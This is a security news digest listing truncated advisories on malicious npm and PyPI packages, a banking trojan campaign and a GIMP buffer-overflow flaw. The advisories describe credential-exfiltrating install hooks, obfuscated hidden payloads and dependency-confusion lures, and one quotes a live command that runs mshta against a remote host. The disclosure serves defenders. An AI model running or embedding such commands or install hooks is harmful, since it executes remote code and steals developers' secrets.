ThreatsDay: AI Compute Hijacking, Apple Email Flaw, BlueHammer Ransomware + 14 Stories

This week’s security news is mostly about weak spots. Browsers, bots, sandboxes, AI systems, and email flows all show the same problem in different ways. Everything looks normal until someone tests a small gap and finds a way through. This is not one big break. It is small permissions, weak check...

Ousaban Banking Trojan Targets Iberian Bank Users with Fake PDF Lures

A Brazilian banking trojan called Ousaban is going after Windows users who bank in Spain and Portugal. Fortinet's FortiGuard Labs identified the campaign in May 2026. It opens with a phishing PDF disguised as a corrupted file, checks that the visitor is really in Spain or Portugal, and hides its...

Malicious code in clob-client-math (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b36bbf14a743630a93ba7f8d7529d3fae8073f0f585af4343506be6248fc1b59 [email protected] ships a postinstall script install-check.cjs that fetches a JSON config from...

Malicious code in ryan-pdf-js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3d966501b5f533318c26b54887cd29b3cd6c9495035a0f74519ba349357e3eb [email protected] is an empty stub package index.js exports whose sole purpose is to deliver an off-registry payload at install time. Its package.js...

Malicious code in anthropic-claude-latest (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 39eab369e2498da827d3bbd331effdf24b99ab28961e62da7328e4476e328876 Package anthropic-claude-latest claims to be an 'Official Anthropic Claude SDK wrapper' but ships no Anthropic SDK code; the README is for an unrelat...

MAL-2026-6415 Malicious code in anthropic-claude-latest (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 39eab369e2498da827d3bbd331effdf24b99ab28961e62da7328e4476e328876 Package anthropic-claude-latest claims to be an 'Official Anthropic Claude SDK wrapper' but ships no Anthropic SDK code; the README is for an unrelat...

MAL-2026-6366 Malicious code in backpack-ios (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 25f0d7ea98cef4ddcac8af3b854c37c1a8a3246a13357af60cb36589454657b5 package.json declares "preinstall": "node index.js", causing index.js to execute automatically on npm install. The script collects host identifiers...

MAL-2026-6373 Malicious code in twilio-voice-js-reference-components (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a3a57b06daad43c269fe3846083da2fdce277fd1ff3a9399533072f6e894afc2 Package impersonates the Twilio Voice JS SDK namespace and ships a single exfiltration payload. package.json declares "preinstall": "node index.js",...

MAL-2026-6297 Malicious code in tree-sitter-forth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16f52e13ffb66b20f7c3dca7022e8115dbce1f39264638d38b73d6488e4cbf27 Package is a dependency-confusion lure: it claims version 9999.99.99 with description 'npm 404 error referenced in AlexanderBrevig/tree-sitter-forth'...

Malicious code in @zynkit/jwtbytes (npm)

@zynkit/jwtbytes malicious version 0.5.3, published by [email protected] is a trojanized npm package belonging to the wshu.net credential-stealer campaign. The campaign published trojanized look-alike utility packages across 12+ scopes whose publisher accounts all follow the pattern...

MAL-2026-6190 Malicious code in mjs-eslint-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3320fa37492448acdf24a86f8a8735a3fc4d3b329ad156e299a8089df39e2f28 The package decodes base64 string literals via Buffer.from..., 'base64'.toString and pipes the resulting content into execSync'bash...' and...

MAL-2026-5895 Malicious code in easyllmai (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2f3b4523b083331b34769a2a730586fa622f50560f2f237a893633e7ffb57872 On npm install, the package's preinstall lifecycle hook "preinstall": "node preinstall.js" unconditionally runs exec'cmd /c "mshta http://fixars.top"...

gimp: GIMP: Remote Code Execution via PSP file parsing

A flaw was found in GIMP. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted PSP PaintShop Pro file. This flaw is caused by a heap-based buffer overflow, where the application does not properly validate the length of user-supplied data. Successful...

MAL-2026-5618 Malicious code in tailwind-animator-scroll (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f89c3c4c01375bc7baef213c815a901ac3947eaf3835aa80ea67a725ece8d533 The package's main entry src/index.js appends, after a large whitespace gap following the legitimate-looking Tailwind plugin code, an...

MAL-2026-5577 Malicious code in web-pool (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d2b1d78cd3ff0c5eeead299eb670d299590b48a453c9416ae2a692bc4173737c Requiring web-pool triggers middleware to spawn a detached node lib/initializeCaller.js. That script base64-decodes a hardcoded endpoint...

Malicious code in @403name/ether-js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 927758f43d6eaa6514273bd8ab8f3559624055b9bbf8c9ef9a190b645c0a6eef On require'@403name/ether-js', index.js runs an IIFE that targets macOS only returns early on non-darwin and when CI/GITHUBACTIONS env vars are set,...

MAL-2026-5532 Malicious code in icinga (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fbedb312e9cfe0f5cc7783487adc963f142ebcaefa0fb9305a9a535f373b052d PyPI package 'icinga' at version 99.1.0 is a dependency-confusion / typosquat lure against the Icinga monitoring project. It ships no real...

MAL-2026-5446 Malicious code in housecall-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 67e32f5c0c623ab57ac1de78fb5e118394d96f79b760af74d4127f775a0a97fe [email protected] is a hollow npm package empty description, empty author, index.js exports an empty object whose sole runtime dependency is declar...

Malicious code in @0xlr/clerk-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2ff421a5ccb412fd8455e89a1b9875b427ed34af12fa4b188ed4418cd8f52a74 On npm install, postinstall.js enumerates the entire process environment Object.keysprocess.env.sort.forEach along with hostname, username, home...

MAL-2026-5396 Malicious code in @sqlite-node/createsql (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6f6f2c4e3192b71fc68681fbb8c8216a5e581e9f2baaa13954172249a8ddf5b6 The package advertises itself as a SQLite toolkit but ships no SQLite functionality. Its main entry index.js is a single heavily obfuscated module...